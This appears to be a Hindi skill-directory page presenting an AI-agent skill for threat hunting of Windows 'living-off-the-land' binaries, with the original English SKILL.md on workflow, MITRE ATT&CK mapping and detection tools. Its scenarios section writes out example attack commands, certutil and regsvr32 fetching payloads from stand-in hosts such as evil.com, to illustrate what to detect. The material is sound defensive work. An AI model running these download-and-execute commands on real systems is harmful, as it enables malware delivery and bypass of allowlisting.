hunting-for-living-off-the-land-binaries
यह क्या करती है
यह टूल Windows के ऐसे सामान्य प्रोग्राम खोजने में मदद करता है जो देखने में ठीक लगते हैं, लेकिन अपराधी उनका गलत इस्तेमाल करके आपके कंप्यूटर पर बुरे काम करते हैं, जैसे वायरस डाउनलोड करना या खतरनाक code चुपचाप चलाना।
कब इस्तेमाल करें
- ✓जब आपको शक हो कि malware सामान्य Windows प्रोग्राम का इस्तेमाल करके छिपा हुआ है।
- ✓किसी cyberattack के सिस्टम में घुसने के तरीके की जांच करते समय।
- ✓यह जांचने के लिए कि security programs वैध प्रोग्रामों के गलत इस्तेमाल को पकड़ पा रहे हैं या नहीं।
Skill का लिंक
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/hunting-for-living-off-the-land-binaries/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“Windows के ऐसे प्रोग्राम खोजो जो संदिग्ध तरीके से फाइल डाउनलोड करने या commands चलाने में इस्तेमाल हो रहे हैं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
यह आपके कंप्यूटर पर प्रोग्रामों के activity logs का विश्लेषण करता है। यह सामान्य व्यवहार की तुलना अभी की गतिविधि से करता है, ताकि अजीब गतिविधियां ढूंढ सके जो खतरनाक हो सकती हैं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Hunting for Living-off-the-Land Binaries (LOLBins)
When to Use
- When investigating fileless malware campaigns that bypass traditional AV
- During proactive threat hunts targeting defense evasion techniques
- When EDR alerts fire on legitimate binaries executing unusual child processes
- After threat intelligence reports indicate LOLBin abuse in active campaigns
- During red team/purple team exercises validating detection coverage for T1218
Prerequisites
- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
- PowerShell command-line logging enabled (Module Logging, Script Block Logging)
- Network proxy or firewall logs for correlating outbound connections
Workflow
- Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
- Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
- Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
- Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
- Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
- Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
- Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
Key Concepts
| Concept | Description |
|---|---|
| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.002 | Control Panel (control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| Proxy Execution | Using trusted binaries to execute untrusted code |
| Fileless Attack | Attack that operates primarily in memory without dropping files |
Tools & Systems
| Tool | Purpose |
|---|---|
| CrowdStrike Falcon | EDR telemetry and process tree analysis |
| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
| Splunk | SIEM log aggregation and SPL queries |
| Elastic Security | Detection rules and timeline investigation |
| Sysmon | Detailed process creation and network logging |
| LOLBAS Project | Reference database of LOLBin capabilities |
| Sigma Rules | Generic detection rule format for LOLBins |
| Velociraptor | Endpoint forensic collection and hunting |
Common Scenarios
- Certutil Download Cradle: Adversary uses
certutil.exe -urlcache -split -f http://malicious.com/payload.exeto download malware, bypassing web proxies that allow certutil traffic. - Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through
mshta.exe, which is a signed Microsoft binary. - Rundll32 DLL Proxy Load: Malicious DLL loaded via
rundll32.exe shell32.dll,ShellExec_RunDLLto proxy execution through a trusted binary. - Regsvr32 Squiblydoo: Remote SCT file executed via
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dllbypassing application whitelisting. - BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using
bitsadmin /transfer.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
…
अक्सर पूछे जाने वाले सवाल
'LOLBins' क्या होते हैं?
ये Windows के साथ आने वाले प्रोग्राम हैं, जैसे certutil.exe या rundll32.exe। ये वैध हैं, लेकिन अपराधी इनसे पारंपरिक antivirus की नज़र से बचते हुए खतरनाक code चला सकते हैं।
क्या इस टूल को इस्तेमाल करने के लिए कुछ इंस्टॉल करना पड़ता है?
नहीं, कुछ इंस्टॉल नहीं करना पड़ता। यह आपके security systems (जैसे EDR और SIEM) में पहले से मौजूद जानकारी और हमलों में इस्तेमाल होने वाले प्रोग्रामों की सूचियों (जैसे LOLBAS Project) का उपयोग करता है।
पता कैसे चले कि मिली गतिविधि सच में खतरनाक है?
यह टूल संदिग्ध गतिविधियां बताने में मदद करता है। यह पक्का करने के लिए कि वे खतरनाक हैं या बस असामान्य लेकिन वैध इस्तेमाल हैं, आपको अपनी जानकारी और दूसरी security जानकारी के आधार पर उनका विश्लेषण करना होगा।
जानकारी
लेखक का मूल विवरण
Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.
लोकप्रियता
- GitHub स्टार
- 35k
- रैंकिंग में स्थान
- #7962
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 31/8/2026
कमेंट
- …
इस repository की और skills
abusing-dpapi-for-credential-access
35kआपके AI एजेंट को किसी खास काम के लिए तैयार instructions देता है, ताकि वह उसे बेहतर और तेज़ी से कर सके।
abusing-shadow-credentials-for-privesc
35kआपके AI एजेंट को साफ़ और अच्छी तरह से व्यवस्थित लिखना सिखाता है।
achieving-cmmc-level-2-compliance
35kयह आपके एजेंट को CMMC Level 2 compliance के लिए environment तैयार करने में मदद करता है। यह security requirements लागू करता है और ज़रूरी documentation संभालता है।
acquiring-disk-image-with-dd-and-dcfldd
35kआपके एजेंट को hard drives की exact copies बनाने में मदद करता है। जाँच के दौरान किसी भी जानकारी के खोने या बदलने से बचाने के लिए यह उपयोगी है।
मिलती-जुलती skills
gitcrawl
394kयह आपके एजेंट को GitHub issues और pull requests के सेव आर्काइव में खोजने, मिलते-जुलते मामलों को समूह में रखने और लाइव स्थिति जांचने देती है।
slacrawl
394kयह आपके एजेंट को स्थानीय Slack आर्काइव में संदेश खोजने और गिनने, उसकी ताज़गी जांचने और ज़रूरत पड़ने पर उसे ताज़ा करने देती है।
goplaces
394kयह आपके एजेंट को Google Places से जगहें खोजने, उनका विवरण और समीक्षाएं पाने, और जगह के नाम हल करने में मदद करती है, स्क्रिप्ट के लिए JSON आउटपुट के साथ।